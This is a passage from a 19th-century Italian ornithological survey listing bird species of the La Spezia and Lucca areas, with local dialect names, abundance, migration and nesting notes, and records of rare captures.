muinàa. Frequente, sedentaria. Passer domesticus. Accidentale. Coccothraustes vulgaris, Scosson, Scossa nuci. È dubbio se può dirsi sedentario, frequente. Ligurinus Chloris, Verdin. Frequente e stazionario. Chloroptila Citrinella. Rarissimo al piano, molto scarso sui monti. Chrysomitris Spinus, Lügain. Molto abbondante alcuni anni, scarso in altri. Carduelis elegans, Cardàn. Abbondante; nidifica. Serinus hortulanus, Rapalin. Abbondante; talvolta nidifica sui monti. Cannabina Linota, Fanetto. Compare piuttosto scarso a piccoli branchi nell’epoca del passo. Cannabina flavirostris. Rarissimo. Ægiothus Linarius. Rarissimo; due esemplari furono presi a Chiavari molti anni fa, trovansi ora nella collezione Magni-Griffi. Ægiothus rufescens. Rarissimo; una sola cattura, pure a Chiavari. Carpodacus erythrinus. Rarissimo; uno fu preso a Castelnuovo Magra nel maggio 1861, è ora nella collezione Magni-Griffi. Pyrrhula europæa, Franguelo main. Scarso, nidifica sui monti Loxia Pityopsittacus. Rarissimo; due esemplari vennero colti nella pineta di Chiavari nell’inverno 1851. Loxia Curvirostra, Bèco storto. Molto scarso, di passo irregolare, più facile nell’estate. Euspiza melanocephala. Raro. Euspiza aureola. Rarissimo. Miliaria Projer, Silùn de montagna, Ciatarùn. Piuttosto scarso. Emberiza Citrinella, Silo. Frequenti, di doppio passo regolare, molti svernano. Emberiza Cirlus, Silo. Meno frequente del precedente, più facile a trovarsi d’inverno. Emberiza Hortulana, Ortulàn. Frequenti, di doppio passo in maggio ed agosto; nidifica. Emberiza caesia. Rarissimo. Emberiza Cia, Silo d’inverno. Scende numeroso nell’inverno dalle colline dove nidifica. Emberiza leucocephala. Raro; un individuo preso a Sarzana nel dicembre 1861 trovasi ora nella collezione del professor Magni-Griffi. Emberiza pusilla. Rarissimo. Emberiza Schœniclus. Poco frequente nella regione, credo sia specie solo invernale, sebbene il Magni-Griffi mi abbia detto che nidifica. Emberiza pyrrhuloides. Scarso, invernale; dopo aprile non si trova più. Calcarius lapponicus. Rarissimo; un esemplare preso a Sarzana nell’aprile 1861, non nel dicembre, come per errore il Magni-Griffi scrisse al prof. Giglioli, e questi stampò nella sua Avifauna (pag. 56). Calcarius nivalis. Raro, qualcheduno capita negli inverni rigidi. Melanocorypha Calandra. Rara. Calandrella pispoletta. Rarissima, un esemplare che il Magni-Griffi riferisce a questa specie fu preso a Sarzana nel maggio 1862. Calandrella brachydactyla. Scarsissima, qualcuna in maggio. Alauda arborea, Lodoùn. Sedent., numerosa, nidif. sui monti. Alauda arvensis, Mignarda. Abbondante, stazionaria nelle colline. Galerita cristata, Lòdoa. Frequent e sedentaria. Agrodroma campestris, Spia di Ortulàn. Arriva nella metà di aprile, nel ritorno è più scarso. Anthus pratensis, Fifina, Spia dee Quagie. Non molto frequente, arriva d'ottobre, qualcheduna sverna. Anthus cervinus. Scarsissima. Anthus trivialis, Pagiaissa. Frequent e d'autunno, meno d'inverno. Anthus Spipoletta, Panigaèo. Frequent e d'inverno. Budytes flavus, Boarina. Numerosi a primavera, passano ai primi d'aprile a piccoli branchi; più scarso d'autunno. Budytes cinereocapillus, Boarina. Più scarsa della precedente. Budytes melanocephalus. Scarsissimo, e forse di passo irregolare. Budytes campestris. Raro. Motacilla alba, Balaina gianca. Frequent nell'inverno, sedentaria. Motacilla lugubris. Accidentale; il giorno 21 febbraio 1888 un cacciatore prese insieme ad altre Ballerine bianche un esemplare di questa specie accidentale per tutta Italia. Col mezzo del prof. Caldi potei averlo ancora in carne; era stato preso alle Case Rosse, località posta lungo la spiaggia del mare due chilom. ad Est di Spezia. Fu da me donato alla Collezione centrale dei Vertebrati italiani in Firenze. Calobates melanope, Balaina zala. Non molto abbondante, sedentaria; passa l'estate sui monti, di agosto e di settembre scende al piano. Saxicola Oenanthe, Ciao gianco de monte. Frequent ai due passi, di più al primaverile; i primi arrivano sul finire di marzo. Saxicola albicollis. Scarsissima. Saxicola Stapazina. Poco frequent. Dromolæa leucura. Rara, si trova sui monti fra Portovenere e le Cinque Terre, lungo il mare. Monticola saxatilis, Tordo cua russa. Molto scarso, nidifica sulle colline dietro Sarzana; di passo regolare. Monticola Cyanus, Merlo rocaè. Frequent e sedentaria. Merula nigra, Merlo. Frequent e sedentario. Merula torquata. Raro. Turdus pilaris, Sturlenga. Poco abbondante, forse di passo irregolare; così ne vidi parecchi nel decorso inverno (1887-SS). nessuno nei due precedenti (S5-S6 e S6-S7). Turdus iliacus, Arpezin. Frequent e, invernale. Turdus musicus, Tordo. Abbondante, non ho prove che nidifichi; i casi d'isabellismo non sono rari. Turdus Swainsoni. Il prof. Magnui-Griffi ha nella sua raccolta un piccolo Tordo preso a Sarzana, ch'egli riferisce a questa specie rarissima. Turdus viscivorus, Tordèna. Frequent e; talvolta nidificante; in questo gennaio (1888) vi fu un passo molto più abbondante del solito. Aëdon Luscinia, Rossignèo. Comune dai primi d'aprile ai primi d'ottobre. Aëdon Philomela. Accidentale. Erithacus Rubecula, Picèto. Abbondante, nidifica sui monti. Cyanecula Wolfi, Cua russa de paliüde. Primaverile e poco frequent e. Cyanecula suecica. Molto scarso. Ruticilla Phœnicurus, Cua russa. Frequent e, i primi arrivano alla fine di marzo. Ruticilla titys. Poco frequent e. In un maschio coll'abito da femmina avuto il 21 marzo 1887 i testicoli erano completamente sviluppati. Pratincola Rubicola, Fricialase. Frequent e, qualcheduno sverna, è uno dei primi uccelli a fare il nido; nidifica al piano e al monte. Pratincola Rubetra, Fricialase. Frequent e. Sylvia nisoria. Molto rara, una sola cattura ho potuto constatare nella regione. Sylvia orphaea. Non molto frequent e da maggio a settembre. Sylvia cinerea, *Pissa mue* (becca more). Frequente da aprile ad ottobre. *Sylvia Curruca*. Scarsa da maggio a settembre. *Sylvia subalpina*. Come la precedente. *Sylvia conspicillata*. Scarsissima, primaverile. *Monachus Atricapillus*, *Testa negra* (il maschio). Frequenti, abbonda nel marzo. *Monachus hortensis*, *Becafico*. Arriva al finir d'aprile; più frequente in autunno. È dubbio che nidifichi. *Pyrophthalma melanocephala*. Scarso, di passo regolare, nidifica; qualcheduno resta all'inverno. *Melizophilus undatus*, *Carcassuco*. Scarsa e sedentaria. *Melizophilus sardus*. Molto rara, un esemplare preso alle bocche di Magra il maggio 1860 è ora nella collezione del prof. Magni-Griffi. *Agrobates galactodes*. Rarissimo, una sola cattura nota. *Agrobates familiaris*. Rarissimo, una sola cattura nota. *Phylloscopus sibilator*, *Luì, Boain*. Frequenti, estivo. *Phylloscopus Trochilus*, *Luì, Boain*. Frequenti e sedentario. *Phylloscopus Bonellii*. Scarsissimo, estivo e nidificante. *Phylloscopus rufus*, *Luì, Boain*. Frequenti e sedentario. *Hypolais icterina*. Poco frequente, estivo. *Hypolais polyglotta*. Scarso, estivo. *Hypolais olivetorum*. Un Canapino preso a Sarzana nel 1882 ora nella collezione del prof. Magni-Griffi, viene da questi riferito a questa specie rarissima. *Hypolais pallida*. Accidentale. *Acrocephalus palustris*. Rara, primaverile. *Acrocephalus streperus*. Scarsissima, estiva. *Acrocephalus arundinaceus*. Meno scarso della precedente. *Calamodus schœnobœnus*, *Boain*. Poco frequente, estivo. *Calamodus aquaticus*. Più scarso del precedente. *Lusciniola melanopogon*. Quasi raro, primaverile. *Locustella naevia*. Raro. Il prof. Magni-Griffi sostiene doversi riferire alla *L. lanceolata* un Forapaglie preso a Sarzana nel maggio 1861; noto che l'esemplare esaminato dal prof. Giglioli, venne riferito alla *L. naevia*. Potamodus luscinioïdes. Scarsissima e primaverile. Cettia Cettii. Scarso, estivo. Cisticola cursitans, Sizin. Scarso ma sedentario. Troglodytes parvulus, Cra-cra, Reatin. Frequenti al piano da ottobre ad aprile, allora sale ai monti. Cinclus aquaticus, Merlo d’aigua. Poco frequente nei rivi delle colline, raro al piano. Accentor collaris. Scarso, scende nel cuor dell’inverno fin presso la pianura. Accentor modularis, Ferao, Ferain. Frequenti d’inverno. Regulus cristatus, Fri-fri, Testin d’oo (d’oro). In pianura si vede dall’ottobre fino a primavera. Regulus ignicapillus. Come il precedente, dal quale non viene distinto di solito. Ægithalus pendulinus. Specie scarsa che resta anche d’inverno. Acredula Irbyi, Carcassiuco. Comune e sedentario. Acredula rosea. Scarsa. Panurus biarmicus. Rarissimo. Parus major, Perissèa. Comune e sedentaria. Parus ater, Perissèa. Poco frequente, scende al piano alla fine di settembre. Cyanistes cæruleus, Perissuin, Perisseta. Poco frequente e nidificante, più numerosa d’inverno. Pœcile palustris. Poco frequente, invernale. Pœcile borealis. Rara, soltanto negli inverni molto rigidi. Lophophanes cristatus. Accidentale; un esemplare fu catturato presso Sarzana molti anni sono. Sitta cæsia, Picazo (Sarz.). Scarso, invernale. Certhia familiaris. Rarissimo; un esemplare esistente nella collezione del Museo fu catturato agli Stagnoni presso al mare (2 chilom. da Spezia) il 29 novembre 1881. Certhia brachydactyla, Rampeghin. Comune d’inverno. Tichodroma muraria, Paparagno. Scarso, ma sedentario. Oriolus Galbula, Garbeo, Sgarbèo. Arriva alla fine di marzo, ma è abbondante solo in maggio, nidifica, e riparte in autunno. Ampelis Garrulus. Raro, qualcheduno nell'inverno. Lanius Excubitor, Gazuèla. Primaverile, scarsa. Lanius meridionalis. Accidentale; un esemplare preso nel maggio 1875 (e non nell'aprile 1879) come dice il professore (Giglioli, Avif. Ital., pag. 173) a Sarzana è posseduto dal Magni-Griffi. Lanius Collurio, Gazuèla. È la specie più comune di passo doppio regolare. Lanius minor. Scarsa, primaverile. Lanius auriculatus, Gazuèla. Piuttosto scarsa, ma di passo regolare. Muscicapa collaris. Molto scarsa, di passo regolare. Muscicapa Atricapilla. Frequenti abbastanza e di passo regolare. Butalis Grisola. Scarso, di passo regolare. Hirundo rustica, Rondanina. Frequenti dalla ultima diecina di marzo alla prima metà di ottobre. Nel dicembre 1886 ebbi una Rondine viva.¹ Hirundo rufula. Rarissima, una sola cattura constatata. Chelidon urbica, Ciuo gianco. Frequenti, cominciano ad arrivare subito dopo la metà di marzo, ma la massa giunge un mese dopo; notai un caso di svernamento qui in Spezia nel 1886, il primo constatato con certezza in Italia.² Clivicola riparia. Molto scarso nei dintorni del Golfo, più frequente in Val di Magra. Cotile rupestris. Scarsa lungo la Magra. Cypselus Apus, Rondón. Arriva alla seconda metà di aprile, scompare in luglio, ma qualcheduno si trova nell'agosto ed anche ai primi di settembre, non oltre. Cypselus Melba. Come ai tempi dello Spallanzani, qualche Rondone alpino nidifica sulle rupi calcaree dell'isola Palmaria all'estremo S.O. del Golfo; non posso asserire che si trovi in altre località della regione presa in osservazione. ¹ Vedi: D. Carazzi, Appunti ornitologici, Napoli 1887. ² Vedi: D. Carazzi, op. cit. Caprimulgus europaeus, Tetavache. Estivo, di primavera si trova più facilmente in collina, d'agosto alla pianura. Picus major, Picùn, Picazo. Sedentario e comune. Picus minor, Piza formighe (Sarz.). Scarsissimo. Gecinus viridis, Picùn. Sedentario e frequente. Gecinus canus. Rarissimo, un solo esemplare, ch'io sappia, fu catturato a Sarzana nel dicembre 1860; è nella collezione del Magni-Griffi a Siena. Iynx Torquilla, Formiguìn, Colostorto, Capitorza (Sarz.). Frequentè ed anche sedentario, perchè n'ebbi due volte in dicembre, una in gennaio e una in febbraio. Cuculus canorus, Cuciì, Cuciù. Estivo e frequente. Coccystes glandarius. Rarissimo; due esemplari furono presi a Sarzana dal prof. Magni-Griffi. Alcedo Ispida, Useo santa Maia, Useo smenièo, Martinèo. Frequentè e sedentario. Coracias Garrula, Gaza maìna. Scarsa, forse nidifica. Merops Apiaster, Tordo maìn. Di passo doppio regolare, più scarso d'autunno; qualcuno nidifica. Merops persicus. Accidentale; n'ebbe uno il Magni-Griffi nel maggio 1858, ora è nella sua collezione. Upupa Epop, Galeto de marso. Frequentè, nidifica. Strix flammea, Aiìco. Comune e sedentario. Syrnium Aluco, Aiìco. Comune e sedentario. Athene Noctua, Sivetua. Comune e sedentaria. Scops Giu, Ciodo. Arriva in marzo aprile, nidifica e riparte in settembre, non credo che sverni. Asio Otus, Güfo. Comune, ma scarso in confronto del seguente. Asio accipitrinus. Anche questo comune e sedentario. Bubo maximus. Scarso, sedentario. Circus aeruginosus, Farco. Frequentè e di passo, ma qualcuno resta d'inverno. Circus cyaneus, Farco gianco, Farco de padù. Sedentaria. più numerosa al tempo del passo. Circus cineraceus. Di passo regolare, molto scarsa. Pandion Haliaëtus. Molto scarso. Circaëtus gallicus, Farco bison, Farco marsaiolo. Passa di primavera, qualcuno nidifica sui monti. Haliaëtus Albicilla, Aquila. Rara. Nisaëtus fasciatus. Il prof. Magni-Griffi mi disse di avere avuto dei giovani di questa specie presi in val di Magra. Archibuteo lagopus. Accidentale. Buteo vulgaris, Busun. Sedentaria e frequente. Pernis apivorus, Farco. Scarso e primaverile. Milvus Ictinus. Molto scarso. Milvus migrans. Raro. Falco Peregrinus, Farco reale. Sedentario, scarso. Hypotriorchis Eleonorae. Accidentale, due esemplari, maschio e femmina, furono presi assieme nel 1878 lungo la Durasca, piccolo affluente della Magra. Hypotriorchis Subbuteo, Farchèto. Di passo regolare, ma molto scarso. Æsalon regulus. Molto scarso e probabilmente di passaggio irregolare. Cerchneis Tinnunculus, Farcheto. Frequente e sedentario. Cerchneis Naumanni. Scarsissimo. Cerchneis vespertinus, Farchèto american. Una volta di passaggio regolare e abbondante, così nel maggio si vedeva a piccoli branchi; ora è molto scarso forse di passo irregolare. Astur palumbarius. Molto scarso. Accipiter Nisus, Farchèto. Frequente e sedentario. Phalacrocorax Carbo. Specie scarsa, della quale si trova qualche giovane nell’inverno. Ardea cinerea, Perticòla. Frequente in primavera, a datare dai primi di marzo, scarso in autunno. Ardea purpurea, Perticòla. Come la precedente. Egretta alba. Molto scarna, primaverile. Egretta Garzetta, Perticòla giana. Di passo regolare, più frequente in primavera. Ardeola ralloides, Perticolin. Di passo irregolare e abbastanza frequente, qualcheduna si ferma fino a ottobre, così che probabilmente nidifica. Ardetta minuta, *Perticolin*. Più frequente della precedente. *Botaurus stellaris*, *Capon de padù*. Frequente in primavera, scarso d’autunno. *Nycticorax griseus*, *Airòn*. Frequente in primavera; non l’ho ancora visto d’autunno. *Ciconia alba*, *Sigugna*. Scarsissima. *Platalea Leucorodia*, *Crìciao*. Accidentale. *Plegadis Falcinellus*. In primavera e molto scarso. *Phœnicopterus roseus*. Accidentale; una sola cattura constatata, l’ebbe nel marzo 1857 il Magni-Griffi dalle Bocche di Magra. *Anser segetum*, *Oca da gran*. Poco frequente. *Tadorna cornuta*. Accidentale. *Anas Boscas*, *Capo verde*. Di doppio passo, si ferma nell’inverno, alcuni anni però in numero scarso; fui assicurato che fu trovato nidificante agli Stagni presso Spezia; il 28 agosto 1888 ne fu preso uno lungo la Magra. *Chaulelasmus streperus*. Scarsissima, invernale. *Spatula clypeata*. Anche questo molto scarso ed invernale. *Dafila acuta*, *Anitrìn*. Invernale e abbastanza comune. *Mareca Penelope*. Specie invernale e scarsa. *Nettion Crecca*, *Gavarèlo*, *Anitrìn*. Frequente specialmente al ripasso in marzo. *Querquedula Circia*, *Gavarèlo*, *Anitrìn*. Invernale e frequente. *Fuligula rufina*. Raro. *Fulix ferina*, *Testa rossa*. Piuttosto scarso. *Fulix Marila*. Scarsissima. *Fulix Fuligula*. Comune al passo, le prime le vidi sull’ultima diecina di ottobre. *Fulix Nyroca*. Di passo doppio ma molto scarsa. *Bucephala Clangula*. Specie scarsa, un maschio adulto preso agli Stagnoni di Spezia è nella collezione del Museo Civico. *Harelda glacialis*. Rarissima. *Œdemia fusca*. Raro, un esemplare fu preso in dicembre lungo la Magra a Santo Stefano. Erismatura leucocephala. Una sola cattura, nel dicembre 1856 sulla Magra, l'esemplare è al R. Liceo di Pistoia. Mergus Merganser, Margùn, Segheta. Specie invernale molto scarsa. Mergus Serrator, Margùn, Segheta. Piuttosto scarso. Mergellus Albellus. Specie invernale e molto scarsa. Columba Palumbus, Coombo. Passano alla fine d'ottobre e ripassano in febbraio e marzo, ma sempre scarsi; alcuni nidificano, ma non mi consta che svernino. Columba Oenas, Coombo, Favazo (Sarz.). Passa a branchi dalla fine di settembre in poi; qualcuno sverna. Columba livia. Molto scarsa. Turtur tenera, Tortoèla. Arriva di maggio, nidifica e riparte alla fine di settembre. Perdix rufa, Pernise. Sedentaria e frequente. Perdix saxatilis, Cotórnese. Rarissima, forse oggimai scomparsa dalla regione. Starna Perdix, Starna. Frequente e sedentaria. Coturnix communis, Quagia. Da maggio a settembre passano, ma non molto numerose; nel 1887 ai 16 di marzo ne uccisero una a Sarzana, era un precursore od una che che aveva svernato? Rallus aquaticus, Polastrà d'inverno, Folenga. Frequente e invernale, più frequente all'epoca dei passi. Ortygometra Porzana, Polastrela, Folenga de marso. Frequente specialmente a marzo e aprile. Ortygometra Bailloni, Folengheta, Girardina. Scarsa. Ortygometra parva, Girardina. Scarsa. Crex pratensis, Re dee quagie. Da dopo la metà d'aprile a ottobre, abbastanza frequente. Gallinula chloropus, Folengòn. Abbastanza frequente in aprile ed ottobre. Porphyrio caeruleus. Accidentale. Fulica atra, Goba. Comune, durante l'inverno. Grus communis, Grù. Rara. Otis Tarda. Rara. Otis Tetrax. Rarissima. Edicenemus scolopax, Rostabò. Frequenti nel passo primaverile, molto scarso in quello autunnale. Cursorius gallicus. Raro, una sola cattura nel maggio 1865. Charadrius Pluvialis, Pivio. Frequenti d'inverno, nel decorso 1887 uno fu preso lungo la Magra ai 16 settembre. Squatarola helvetica. Scarsissima. Eudromias Morinellus. Di passaggio doppio, qualcheduno sverna, è sempre molto scarso. Ægialitis cantiana, Marioli boaroi. Scarso, arriva alla fine di marzo. Ægialitis curonica, Marioli boaroi. Frequenti dopo marzo. Ægialitis Hiaticula, Marioli boaroi. Di passo doppio, ma più scarso della specie precedente. Vanellus Capella, Pia. Le prime arrivano sulla seconda metà di settembre, ma sono abbondanti solo più tardi fino a tutto marzo. Strepsilas Interpres. Raro. Hæmatopus Ostralegus, Beccassa de mae. Specie molto scarsa in primavera, rara del tutto in autunno. Recurvirostra Avocetta. Rara e primaverile. Himantopus candidus. Specie scarsa e primaverile. Limicola platyrhyncha. Accidentale; una sola cattura constatata (maggio 1860) l'esemplare è nel R. Liceo di Pistoia, dov'io lo vidi anche quest'anno. Pelidna subarquata, Fisc-cion róssai. Frequenti. Pelidna alpina. Meno frequenti del precedente. Actodromas minuta, Fisc-cion. Frequenti, ma non molto in primavera, scarso d'autunno. Actodromas Temmincki. Molto scarso. Tringa canutus. Raro. Calidris Arenaria. Molto scarsa. Machetes Pugnax, Fisc-cion, Gambéta. Frequenti nel passo primaverile, qualcuno sverna e talvolta resta nell'estate; nella collezione del Museo Civico ho una femmina adulta del 4 giugno. Tringoides Hypoleucus. Poco frequente in primavera, scarso d'autunno. Totanus Ochropus, *Fisc-cion*. Scarso, specialmente d’autunno. Totanus Glareola, *Tortoin*. Frequenti a primavera. Totanus stagnatilis, *Fisc-cion*, *Tortoin*. Scarso, arriva dopo il marzo aprile. Totanus Calidris, *Fisc-cion*. È la specie più frequente da marzo a giugno; ritengo che nidifica perchè in giugno ho avuto maschi e femmine. Totanus fuscus. Scaresissima in primavera, rara d’autunno. Totanus nebularius, *Fisc-cion*. In prim. e autunno, ma scarsa. Limosa melanura, *Russa*. Poco frequente. Limosa rufa, *Russa*. Rara. Scolopax Rusticula, *Becassa*. Frequenti da ottobre a marzo. Gallinago major, *Synepa*. Frequenti, più in primavera. Gallinago caelestis, *Beccassin*. Frequenti dall’agosto fino a mezzo marzo. Gallinago Gallinula, *Foti-borse*. Di doppio passo, ma poco abbondante. Numenius Arquata, *Boàri*, *Centossi* (Sarz.). Scarso, ma di passo regolare. Numenius tenuirostris. Raro, al passo di primavera. Numenius Phæopus, *Boàri picenin*. Poco numeroso. Glareola Pratincola, *Pernise de mae*. Molto scarsa in maggio ed ottobre. Sylochelidon caspia. Rarissimo. Thalasseus cantiacus. Scarso d’inverno, un po’meno a primavera; forse di passo irregolare. Gelochelidon anglica. Raro, una sola cattura constatata. Sterna fluviatilis. Di passo regolare ma scarsa. Sternula minuta. Come la precedente. Hydrochelidon hybrida, *Anima de sbiro*. Primaverile e piuttosto scarso. Hydrochelidon leucoptera, *Anima de sbiro*. Scarso, ma di passo regolare. Hydrochelidon nigra, *Anima de sbiro*. Frequenti. Chroocephalus minutus, *Ochetta de mae*. Scarso e primaverile. Chroocephalus melanocephalus, *Ochetta de mae*. Invernale e di passo; qualcheduno resta d’estate. Chroocephalus ridibundus, Oca de mae. Frequente d'inverno, raro d'estate. Rissa tridactyla. Solamente primaverile e scarso, forse di passo irregolare. Larus canus. Molto scarsa. Larus cachinnans, Oca de mae, Gabian. Sedentario, ma poco frequente. Stercorarius pomatorhinus. Raro; dieci anni fa tre esemplari di questa specie furono uccisi mentre assalivano delle anitre lungo la Magra; uno si conserva ancora imbalsamato dal signor Neri a Sarzana. Stercorarius crepidatus. Raro; un giovane preso agli Stagnoni di Spezia parecchi anni fa, l'ebbi in cambio dal marchese Castagnola. Puffinus Kuhli, Margùn. Comune e sedentaria. Procellaria pelagica. Scarso. Uiamania torda. Fino al 1885 era specie sconosciuta nel circondario, sebbene nel R. Museo di Firenze vi sia un bellissimo maschio in abito nuziale preso nel 1879 a Spezia. Nel 1886 e nel successivo inverno 1886-87 le Gazze marine capitavano numerose, tanto giovani che adulte; al 23 maggio 1887 ebbi un maschio in abito nuziale quasi completo preso nella Darsena del R. Arsenale. Fratercula arctica. Molto scarsa, arriva irregolarmente. Colymbus glacialis. Rara. Colymbus septentrionalis, Margùn. I giovani sono frequenti. Podiceps cristatus. Raro. Podiceps griseigena. Raro. Podiceps nigricollis, Tufin. I giovani sono frequenti. Podiceps fluviatilis, Tufin. Scarso, ma non raro lungo la Magra. TOSCANA. Lucca, (Martorelli prof. Giacinto, Fontebuoni cav. Angiolo e Gragnani Raimondo): Divido la provincia di Lucca sulla quale si estesero le mie ricerche in due parti ben distinte: l'una tra il Monte Pisano, il Monte di Quiesa ed il mare alla quale non potrei assegnare caratteri propri, poiché essendo situata tra la pianura pisana e quella carrarese, non è che una continuazione di esse; la seconda che si estende a tutto il corso del Serchio e raggiunge i culmini dell'Appennino compresi tra la Garfagnana e l'estremo della valle di Lima, mi sembra di non poca importanza ornitologica, essendo una delle vie prescelte da parecchie specie di uccelli per raggiungere i valichi dell'Appennino nelle loro migrazioni. Nella sannominata porzione marittima della provincia è il lago di Massaciuccoli, circondato da paludi, ove in grandissima copia affluiscono durante il passo le varie specie palustri. Tra il padule ed il mare si alternano i campi e le basse macchie colle foreste, soprattutto di Pini. Nella parte invece che resta di qua dei monti, scorre il Serchio, o tra grande ricchezza di campi, o tra monti coperti di uliveti o da boschi di Castagni, e che solo qua e là brulli e sassosi lo sorpiombano, chiudendolo in anguste forre. In un angolo della pianura lucchese sulla sinistra del fiume rimane ancora, come avanzo del prosciugato lago di Bientina, un vasto padule, ed ancora pochi anni or sono ivi affluivano durante le migrazioni in autunno o in primavera, in grandissimo numero gli uccelli acquatici e di ripa, ma ora, prosciugato il lago, pochissimi prendono quella direzione (Martorelli). A mezzogiorno il Monte Pisano divide la provincia di Lucca da quella di Pisa; a levante è confinata dal piano paludoso del già lago di Bientina; a tramontana l’Appennino modenese, e verso ponente le Alpi Apuane ed i monti della Versilia. La provincia di Lucca è costituita in gran parte da una estesa e fertilissima pianura, in parte paludosa e irrigata da frequenti fossi e canali, oltre poi al fiume Serchio. È poi circondata da amene colline che sono dominate da altissime montagne, tra le quali sono notevoli le Alpi di Pescaglia. Alle epoche del passo molte sono le specie di uccelli che si trovano in questi monti e non poche quelle che vi passano l’estate (Fontebuoni). Il distretto di cui intendo più specialmente parlare comprende il lago e le paludi di Massaciuccoli, il piano vicino, ed i monti di Chiatri e Compignano. La prossimità del mare mi permette di fare anche qualche osservazione sulle spiagge del litorale. Il circondario suddetto comprende i distretti di Viareggio e di Massarosa, specialmente la sezione di Quiesa. I paduli di Massaciuccoli sono quasi tutti a falasco e canneti, oppure coltivati a risaie; il piano è coltivato a seminativi, i monti ad uliveti, con tratti di vigneti e macchia (Gragnani). Elenco delle specie di uccelli osservate nella provincia di Lucca, coi nomi volgari locali e notizie sulla frequenza, migrazioni, nidificazione, ecc. ecc. Corvus Corax. Sedentario, veduto una sol volta a Prato Fiorito sopra i Bagni di Lucca (M.). 1 Questo elenco è compilato sulle liste e sulle notizie fornite dai signori G. Martorelli, A. Fontebuoni ed R. Gragnani, questi specialmente per i distretti di Viareggio e Massarosa. Ho indicato con iniziali la parte che spetta a ciascuno. Corvus Corone, Sedentaria, la vidi presso Gallicano da luglio a settembre ed a Prato Fiorito in settembre (M.). Corvus Cornix, Cornacchia. Comune e sedentaria al piano nel distretto di Massarosa (G.); non comune (F.). Corvus frugilegus, Corvo, Graccio. Di passo in autunno, diventato scarso (M. F.); comune, veduto anche in settembre (G.). Lycos Monedula, Tuccola. Rara al piano in quello di Massarosa, ne ebbi una nell'agosto 1883 (G.). Pica rustica, Gazza, Cecca. Sedentaria, ma scarsa, più frequente verso il mare (M. F.); comune (G.). Garrulus glandarius, Ghiandaira. Sedentaria, piuttosto scarsa, il numero aumenta in autunno (M. F. G.). Pyrrhocorax alpinus, Gracchio. Comune e sedentario sulle Alpi Apuane, scende talvolta nei rigori invernali (F.). Sturnus vulgaris, Storno. Comunissimo di passo, non nidifica (M. F.); nel distretto di Massarosa ha nidificato (G.). Pastor roseus, Storno marino. Ne vidi uno a Coreglia, preso sull'Appennino lucchese nell'estate 1883 (M.); accidentale, ne ebbi due adulti nel 1882 e 1885, un giovane in agosto 1883 (G.). Fringilla coelebs, Fringuello, Filunguello. Sedentario e comune, ne cresce assai il numero nella seconda metà di ottobre (M.); e nell'inverno (F. G.). Fringilla Montifringilla, Tramontano. Comune di passo in autunno ed inverno (M. F.); passa in ottobre (G.). Petronia stulta, Passera ragia. Scarsa (M.); di passo in settembre (G.). Passer montanus, Migliarina. Comune e sedentaria (M. G.). Passer Italiæ, Passero. Comune e sedentaria (M. F. G.). Coccothraustes vulgaris, Fregione. Comune, passa in abbondanza ogni due anni (M.); passa in ottobre (G.). Ligurinus Chloris, Verdone. Comune e sedentario (M. G.); abbondante assai nell'inverno (F.). Chrysomitris Spinus, Lucarino. Comune di doppio passo (M. F.); vedesi in settembre (G.). Carduelis elegans, Cardellino. Comune, sedentario e di passo (M. F. G.). Serinus hortulanus, Raperino. Solo di passo autunnale (M.); comune assai e anche sedentario (F. G.). Cannabina Linota, Montanello. Solo di passo autunnale (M.); comune (F.); in settembre (G.). Pyrrhula europaea, Fringuel marino. Invernale, qualche anno abbondante (M.); di passo in novembre (G.). Loxia Curvirostra, Crociere. Avventizio in quello di Massarosa, ne ebbi uno nell'aprile 1880 (G.). Miliaria Projer, Stiaccione. Poco frequente, sedentario (M. G.). Emberiza Citrinella, Zirla gialla. Non abbondante, ma nidificante sui monti a circa 1000 m. nei boschi di Faggio (M. F.); passa in ottobre (G.). Emberiza Cirlus, Zirla, Zirla nera. Non comune (M. F. G.). Emberiza Hortulana, Ortolano. Non comune, ma estivo (M. F.); giunge in maggio (G.). Emberiza Cia, Zirla, Zirla mucciatta. Comune e sedentario (M. F.); passa in ottobre (G.). Emberiza Schœniclus, Migliarino. Invernale, comune (M. F.); passa in ottobre (G.). Emberiza pusilla. Accidentale in settembre in quello di Massarosa (G.). Emberiza pyrrhuloïdes, Zigolo. Comune in quello di Massarosa, di passo in settembre (G.). Melanocorypha Calandra, Calandra. Sedentaria, ma scarsa (G.). Calandrella brachydactyla, Calandrino. Comune in aprile al piano in quello di Massarosa (G.). Alauda arborea, Piturlino. Pochi sedentari ai monti, abbondante di passo nella seconda metà di ottobre (M. G.). Alauda arvensis, Lodracchio. Comune e sedentaria, abbonda nel passo autunnale (M.); ed in primavera (F.); passa in ottobre (G.). Galerita cristata, Cappellaccio. Comune e sedentaria (M. F. G.). Agrodroma campestris. Non comune (G.). Anthus pratensis, Prispola. Di doppio passo abbondante ed invernale (M. F.); passa in ottobre (G.). Anthus trivialis, Alguina. Di solo passo autunnale (M. F'); passa anche in aprile in quello di Massarosa (G.). Anthus Spipoletta, Prispola. Non comune, di doppio passo (M.); passa in ottobre (G.). Budytes flavus, Ballerina giulla. Scarso, di doppio passo (M.); forse nidificante nel padule di Massaciuccoli ove giunge in aprile (G.). Budytes cinereocapillus, Strisciajola. Scarsa, di doppio passo (M.); comune (F'); e nidificante (G.). Motacilla alba, Ballerina. Sedentaria, comune e di doppio passo (M. F. G.). Calobates melanope. Non abbondante, sedentaria (G. F'). Saxicola Oenanthe, Culbianco. Comunissimo da aprile ad ottobre, ai primi di settembre scende dai monti ove ha nidificato e si trattiene sui prati sino alla partenza (M. F. G.). Saxicola albicollis, Monachella. Rara in aprile, in quello di Massarosa (G.). Saxicola Stapazina, Monachella golanera. Avuta una volta da Massaciuccoli (M.); ne ebbi un adulto in maggio 1881 (G.). Monticola saxatilis, Culrossolone. Comune ai monti da maggio a settembre (M. F.); scarso in quel di Massarosa (G.). Monticola Cyanus, Passera solitaria. Comune e sedentaria, scende al piano l'inverno (M. F.); di passo in settembre (G.). Merula nigra, Merlo. Comune e sedentario, ma scemato in numero; molti giungono in ottobre ed i cacciatori li distinguono dal becco scuro e li chiamano « maremmani » (M. F. G.). Merula torquata, Merlo col petto bianco. Raro, l'ebbi una sola volta (M.); veduti in maggio ed ottobre, tre esemplari vennero poi uccisi presso il lago di Massaciuccoli il 7 aprile 1888 (G.). Turdus pilaris, Stordeola. Scarsa e poco nota, autunnale (M. G.). Turdus iliacus, Sassello. Autunnale e comune (M. F.); passa in ottobre (G.). Turdus musicus, Tordo. Abbondante di passo nella prima metà di ottobre, pochi svernano, il ripasso ha luogo dal principio di febbraio a tutto marzo (M. F.); forse 